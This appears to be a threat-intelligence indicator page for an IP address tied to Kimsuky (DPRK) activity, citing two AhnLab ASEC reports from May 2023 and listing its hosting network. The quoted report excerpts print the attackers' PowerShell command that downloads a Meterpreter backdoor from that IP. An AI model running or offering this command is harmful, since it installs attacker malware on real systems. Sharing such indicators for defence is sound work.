45.58.52.82
45.58.52.82 is an IP address
that 2 published sources report
in connection with Kimsuky activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from AhnLab ASEC.
The earliest of those reports is dated 2023-05-14 and the most recent 2023-05-15.
ip address Kimsuky MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | HostUS |
| Announced by | AS7489 HostUS |
| Country | United States |
| Flags | hosting range |
Sources
-
…것을 확인할 수 있다. 실행된 파워쉘 명령은 다음과 같으며, 다운로드된 파일 “img.dat”은 메타스플로잇 미터프리터라고 하는 백도어 악성코드이다. > powershell.exe invoke-webrequest -uri “http://45.58.52.82/up.dat” -outfile “c:\programdata\img.dat” 공격자는 이후 미터프리터를 이용해 Proxy 악성코드를 추가적으로 설치하였으며, 여기에서도 파워쉘 명령이 사용되었다. 2.…
Meterpreter를 이용해 웹 서버를 공격하는 Kimsuky 그룹 - ASEC — AhnLab ASEC -
…> powershell.exe invoke-webrequest -uri “http://45.58.52.82/up.dat” -outfile “c:\programdata\img.dat” Afterward, the threat actor used Meterpreter to install proxy malware additionally.…
Kimsuky Group Using Meterpreter to Attack Web Servers - ASEC — AhnLab ASEC
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.